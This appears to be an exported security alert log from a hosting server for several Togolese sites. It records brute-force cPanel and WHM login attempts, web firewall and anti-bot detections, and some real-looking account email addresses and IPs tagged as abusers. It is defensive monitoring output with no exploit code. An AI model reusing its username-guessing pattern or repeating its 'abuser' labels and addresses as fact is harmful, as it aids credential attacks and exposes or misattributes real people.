[2026-06-26 15:18:24 +0000] info [cpaneld] 185.24.61.242 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.80.147.189
country_id: 3469034
description:
[2026-06-26 15:18:33 +0000] info [cpaneld] 170.80.147.189 - ucoangerstg "GET /login/?login_only=1&user=ucoangerstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucoangerstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.229.105.173
country_id: 6252001
description:
[2026-06-26 15:18:59 +0000] info [cpaneld] 68.229.105.173 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.167.33.130
country_id: 6252001
description:
[2026-06-26 15:19:03 +0000] info [cpaneld] 174.167.33.130 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.230.94.89
country_id: 6252001
description:
[2026-06-26 15:19:06 +0000] info [cpaneld] 96.230.94.89 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.50.164.108
country_id: 6252001
description:
[2026-06-26 15:19:09 +0000] info [cpaneld] 136.50.164.108 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 131.72.105.10
country_id: 3469034
description:
[2026-06-26 15:18:39 +0000] info [cpaneld] 131.72.105.10 - ucoanger "GET /login/?login_only=1&user=ucoanger&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucoanger (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.138.229.173
country_id: 2017370
description:
[2026-06-26 15:18:53 +0000] info [cpaneld] 46.138.229.173 - ucoang "GET /login/?login_only=1&user=ucoang&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucoang (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 163.182.98.130
country_id: 6252001
description:
[2026-06-26 15:19:16 +0000] info [cpaneld] 163.182.98.130 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.179.231.191
country_id: 1269750
description:
2026-06-26 15:19:56 dovecot_plain authenticator failed for H=(localhost) [103.179.231.191]:9021: 535 Incorrect authentication data (set_id=andre.k@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.22.25.24
country_id: 6252001
description:
[2026-06-26 15:19:19 +0000] info [cpaneld] 134.22.25.24 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.162.131.247
country_id: 6252001
description:
[2026-06-26 15:19:26 +0000] info [cpaneld] 71.162.131.247 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.198.22
country_id: 1880251
description:
43.172.198.22 - - [26/Jun/2026:15:22:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672298&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Furl%253Dhttps%25253A%25252F%25252F24heureinfo.tg%25252Fsociete%25252Fjournee-mondiale-du-braille-4-janvier%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782487337 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/oembed/1.0/embed?url=https%3A%2F%2F24heureinfo.tg%2Fsociete%2Fjournee-mondiale-du-braille-4-janvier%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.198.22


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.146.222.101
country_id: 1694008
description:
[2026-06-26 15:24:40 +0000] info [cpaneld] 49.146.222.101 - lasn "GET /login/?login_only=1&user=lasn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lasn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.34.241.90
country_id: 2017370
description:
[2026-06-26 15:24:43 +0000] info [cpaneld] 185.34.241.90 - letabloidtg "GET /login/?login_only=1&user=letabloidtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabloidtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.129.34.18
country_id: 357994
description:
[2026-06-26 15:24:51 +0000] info [cpaneld] 41.129.34.18 - letablo "GET /login/?login_only=1&user=letablo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letablo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.19.238.186
country_id: 3686110
description:
[2026-06-26 15:24:54 +0000] info [cpaneld] 38.19.238.186 - letabl "GET /login/?login_only=1&user=letabl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.188.120.56
country_id: 3865483
description:
[2026-06-26 15:24:59 +0000] info [cpaneld] 190.188.120.56 - letab "GET /login/?login_only=1&user=letab&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letab (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.248.253.244
country_id: 2017370
description:
[2026-06-26 15:24:47 +0000] info [cpaneld] 109.248.253.244 - letabloi "GET /login/?login_only=1&user=letabloi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabloi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.40.125
country_id: 3658394
description:
[2026-06-26 15:24:49 +0000] info [cpaneld] 157.100.40.125 - la "GET /login/?login_only=1&user=la&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user la (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.246.145.190
country_id: 3508796
description:
[2026-06-26 15:25:02 +0000] info [cpaneld] 38.246.145.190 - leta "GET /login/?login_only=1&user=leta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leta (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.69.199.21
country_id: 290291
description:
[2026-06-26 15:25:07 +0000] info [cpaneld] 77.69.199.21 - let "GET /login/?login_only=1&user=let&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user let (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.174.238.85
country_id: 3469034
description:
[2026-06-26 15:24:39 +0000] info [cpaneld] 45.174.238.85 - letabloid "GET /login/?login_only=1&user=letabloid&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabloid (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.97.211.26
country_id: 6252001
description:
[2026-06-26 15:25:29 +0000] info [cpaneld] 152.97.211.26 - digilix "GET /login/?login_only=1&user=digilix&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digilix (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.226.245.184
country_id: 3932488
description:
[2026-06-26 15:25:12 +0000] info [cpaneld] 38.226.245.184 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.177.166
country_id: 1880251
description:
43.173.177.166 - - [26/Jun/2026:15:25:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988761&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fweb-serie-ahoe%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782487517 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/tag/web-serie-ahoe/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.177.166


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.189.52.151
country_id: 3895114
description:
[2026-06-26 15:25:26 +0000] info [cpaneld] 201.189.52.151 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.119.155
country_id: 99237
description:
[2026-06-26 15:25:38 +0000] info [cpaneld] 212.237.119.155 - digili "GET /login/?login_only=1&user=digili&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digili (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.9.210.103
country_id: 1282988
description:
[2026-06-26 15:25:43 +0000] info [cpaneld] 203.9.210.103 - digil "GET /login/?login_only=1&user=digil&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digil (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.65.243
country_id: 3175395
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:161.123.65.243||TA:161.123.65.243||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 94.176.212.114
country_id: 3175395
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:94.176.212.114||TA:94.176.212.114||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.53.216.224
country_id: 2077456
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:103.53.216.224||TA:103.53.216.224||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.112.100.36
country_id: 2017370
description:
[2026-06-26 15:29:37 +0000] info [cpaneld] 37.112.100.36 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.161.236.35
country_id: 290291
description:
[2026-06-26 15:30:06 +0000] info [cpaneld] 109.161.236.35 - bawa "GET /login/?login_only=1&user=bawa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.8.227.91
country_id: 1643084
description:
[2026-06-26 15:29:45 +0000] info [cpaneld] 182.8.227.91 - bawasongroupcom "GET /login/?login_only=1&user=bawasongroupcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawasongroupcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.242.168.28
country_id: 2017370
description:
[2026-06-26 15:29:51 +0000] info [cpaneld] 94.242.168.28 - bawason "GET /login/?login_only=1&user=bawason&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawason (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.236.180.204
country_id: 285570
description:
[2026-06-26 15:29:55 +0000] info [cpaneld] 188.236.180.204 - bawaso "GET /login/?login_only=1&user=bawaso&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawaso (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.89.134
country_id: 6252001
description:
47.251.89.134 - - [26/Jun/2026:15:31:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038106&pdata=http%253A%252F%252F154.70.82.244%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782487864 HTTP/1.1" 302 0 154.70.82.244 "http://154.70.82.244:52230/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.89.134


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.150.250.11
country_id: 3686110
description:
[2026-06-26 15:30:12 +0000] info [cpaneld] 200.150.250.11 - baw "GET /login/?login_only=1&user=baw&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user baw (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.210.108.219
country_id: 953987
description:
[2026-06-26 15:32:57 +0000] info [cpaneld] 196.210.108.219 - yanac "GET /login/?login_only=1&user=yanac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yanac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.60.113
country_id: 6252001
description:
[2026-06-26 15:32:58 +0000] info [cpaneld] 172.56.60.113 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.105.121.234
country_id: 6252001
description:
[2026-06-26 15:33:04 +0000] info [cpaneld] 71.105.121.234 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.154.138.210
country_id: 6252001
description:
[2026-06-26 15:33:09 +0000] info [cpaneld] 76.154.138.210 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 131.161.178.78
country_id: 3469034
description:
[2026-06-26 15:32:47 +0000] info [cpaneld] 131.161.178.78 - yanacom "GET /login/?login_only=1&user=yanacom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yanacom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.67.25.232
country_id: 6252001
description:
[2026-06-26 15:32:59 +0000] info [whostmgrd] 66.67.25.232 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.173.89.239
country_id: 6252001
description:
[2026-06-26 15:33:03 +0000] info [whostmgrd] 70.173.89.239 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.145.9.167
country_id: 2921044
description:
[2026-06-26 15:33:07 +0000] info [cpaneld] 89.145.9.167 - yan "GET /login/?login_only=1&user=yan&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yan (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.201.244.159
country_id: 99237
description:
[2026-06-26 15:32:42 +0000] info [cpaneld] 62.201.244.159 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.25.99.69
country_id: 3932488
description:
[2026-06-26 15:32:54 +0000] info [cpaneld] 38.25.99.69 - yanaco "GET /login/?login_only=1&user=yanaco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yanaco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.193.144.69
country_id: 6252001
description:
[2026-06-26 15:33:12 +0000] info [whostmgrd] 216.193.144.69 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.194.217.127
country_id: 3469034
description:
[2026-06-26 15:33:11 +0000] info [cpaneld] 186.194.217.127 - ya "GET /login/?login_only=1&user=ya&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ya (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 204.101.161.15
country_id: 6251999
description:
204.101.161.15 - - [26/Jun/2026:15:35:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6722664&pdata=https%253A%252F%252Fderou.tg%252F%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782488115 HTTP/2.0" 302 0 derou.tg "https://derou.tg//" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:204.101.161.15


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/me?_locale=user||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 157.66.56.108
country_id: 1643084
domain: gatti.free.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/defunct.dat||User:root||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.123.235.99
country_id: 1880251
description:
[2026-06-26 15:36:23 +0000] info [cpaneld] 109.123.235.99 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.115.238
country_id: 6252001
description:
[2026-06-26 15:38:53 +0000] info [cpaneld] 172.59.115.238 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.238.249.251
country_id: 6252001
description:
[2026-06-26 15:39:04 +0000] info [cpaneld] 98.238.249.251 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.184.33.12
country_id: 6252001
description:
[2026-06-26 15:39:09 +0000] info [cpaneld] 24.184.33.12 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.184.81.96
country_id: 3469034
description:
Jun 26 15:38:22 ns5 auth[393837]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.184.81.96 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.244.184.5
country_id: 6252001
description:
[2026-06-26 15:38:44 +0000] info [cpaneld] 73.244.184.5 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.28.157.247
country_id: 6252001
description:
[2026-06-26 15:38:56 +0000] info [cpaneld] 108.28.157.247 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.157.181.153
country_id: 6252001
description:
[2026-06-26 15:39:15 +0000] info [cpaneld] 47.157.181.153 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.224.90.176
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.224.90.176||TA:104.224.90.176||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 64.137.100.181
country_id: 2661886
domain: togomedia24.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:64.137.100.181||TA:64.137.100.181||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.102.222.197
country_id: 660013
domain: togomedia24.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:172.102.222.197||TA:172.102.222.197||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.170.49.64
country_id: 2363686
domain: www.dagl.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<p style=\"text-align:justify;\"><span style=\"font-family: calibri, sans-serif; font-size: 19px; background-color: initial;\">madame zour&eacute;hatou kassah-traor&eacute;, gouverneur du district autonome du grand lom&eacute; (dagl), a re&ccedil;u le jeudi 25 juin, une d&eacute;l&eacute;gation de l&rsquo;ong aimes-afrique conduite par son pr&eacute;sident, le dr michel kodom. cette rencontre s&rsquo;inscrit dans le cadre d&rsquo;une tourn&eacute;e institutionnelle visant &agrave; exposer aux autorit&eacute;s locales les initiatives de promotion de la sant&eacute; en milieu scolaire d&eacute;ploy&eacute;es par ladite organisation.</span></p><p style=\"text-align:justify;\"><img src=\"https://www.dagl.tg/resources/editors/uploads/b7df7ba94992391505c1389697f645602ea69e55.jpg\" style=\"width: 714px;\" class=\"fr-fic fr-dib\"></p><p style=\"text-align:justify;\"><span style='font-size:19px;font-family:\"calibri\",sans-serif;'>la d&eacute;l&eacute;gation a &eacute;t&eacute; re&ccedil;ue par madame le gouverneur du dagl, qui &eacute;tait entour&eacute;e pour l&#39;occasion de ses collaborateurs. etaient &eacute;galement pr&eacute;sents &agrave; cette s&eacute;ance de travail, les pr&eacute;fets du golfe et d&rsquo;ago&egrave;-nyiv&eacute;, les maires et &eacute;lus locaux du grand lom&eacute;, le directeur des libert&eacute;s publiques et des affaires politiques, les directeurs r&eacute;gionaux de l&rsquo;&eacute;ducation et de la sant&eacute;, ainsi que le repr&eacute;sentant du directeur r&eacute;gional de l&rsquo;action sociale du grand lom&eacute;.</span></p><p style=\"text-align:justify;\"><span style='font-size:19px;font-family:\"calibri\",sans-serif;'>les &eacute;changes ont essentiellement port&eacute; sur la vision ainsi que sur les modalit&eacute;s de cr&eacute;ation et de d&eacute;ploiement des &laquo; clubs sant&eacute; sos docteur tv &raquo;. une pr&eacute;sentation a permis d&rsquo;examiner les divers axes strat&eacute;giques mis en &oelig;uvre afin de redynamiser la vie scolaire au sein des &eacute;tablissements d&rsquo;enseignement secondaire.</span></p><p style=\"text-align:justify;\"><img src=\"https://www.dagl.tg/resources/editors/uploads/b8e4307955d9abcbd25b0164fce6c7720f941cb9.jpg\" style=\"width: 700px;\" class=\"fr-fic fr-dib\"></p><p style=\"text-align:justify;\"><span style='font-size:19px;font-family:\"calibri\",sans-serif;'>port&eacute;s par l&rsquo;ong aimes-afrique, ces clubs ont pour vocation de promouvoir une culture de l&rsquo;&eacute;ducation sanitaire, de renforcer la pr&eacute;vention des pathologies et d&#39;encourager l&rsquo;adoption de comportements vertueux en mati&egrave;re de sant&eacute; chez les jeunes. ces structures se con&ccedil;oivent &eacute;galement comme un incubateur de vocations pour stimuler le leadership, l&rsquo;engagement civique et l&rsquo;&eacute;panouissement personnel des apprenants.</span></p><p style=\"text-align:justify;\"><span style='font-size:19px;font-family:\"calibri\",sans-serif;'>la d&eacute;l&eacute;gation a profit&eacute; de cette tribune pour dresser le bilan des avanc&eacute;es notables enregistr&eacute;es au sein des &eacute;tablissements pilotes. elle a mis un accent particulier sur le concours de culture g&eacute;n&eacute;rale en sant&eacute; d&eacute;nomm&eacute; &laquo; g&eacute;nie imhotep &raquo;, qui demeure l&rsquo;un des piliers majeurs de ce programme.</span></p><p style=\"text-align:justify;\"><img src=\"https://www.dagl.tg/resources/editors/uploads/c64cb70d4570f264f02863f044a7c6c5ba90ab63.jpg\" style=\"width: 703px;\" class=\"fr-fic fr-dib\"></p><p style=\"text-align:justify;\"><span style='font-size:19px;font-family:\"calibri\",sans-serif;'>en guise de conclusion, madame le gouverneur du dagl a tenu &agrave; saluer l&rsquo;impact des actions men&eacute;es par l&rsquo;ong aimes-afrique en milieu scolaire. elle a exhort&eacute; l&rsquo;ensemble des parties prenantes &agrave; conjuguer leurs efforts pour garantir le succ&egrave;s de cet ambitieux projet, pour faire des &eacute;l&egrave;ves des leaders de demain pour le d&eacute;veloppement du togo.</span></p><p style=\"text-align:justify;\"><strong><span style='font-size:19px;font-family:\"calibri\",sans-serif;'>cellule communication dagl</span></strong></p><p style=\"text-align:justify;\"><br></p>||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.221.55.126
country_id: 1269750
domain: togomedia24.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:103.221.55.126||TA:103.221.55.126||


plugin: ossec
rule: 11309
name: FTP Authentication success.
abuser: 172.174.118.36
country_id: 6252001
description:
Jun 26 15:42:36 ns5 pure-ftpd[485579]: (?@172.174.118.36) [INFO] administrateur@mig.tg is now logged in


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.216.27.83
country_id: 2378080
description:
102.216.27.83 - - [26/Jun/2026:15:42:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7107220&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D9513&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782488534 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=9513" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.216.27.83


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.209.223.80
country_id: 2287781
description:
[2026-06-26 15:42:26 +0000] info [webmaild] 102.209.223.80 - support@24heureinfo.tg "POST /cpsess0615361502/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.207.8.147] != Current IP Address [102.209.223.80]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.117.55.161
country_id: 3469034
description:
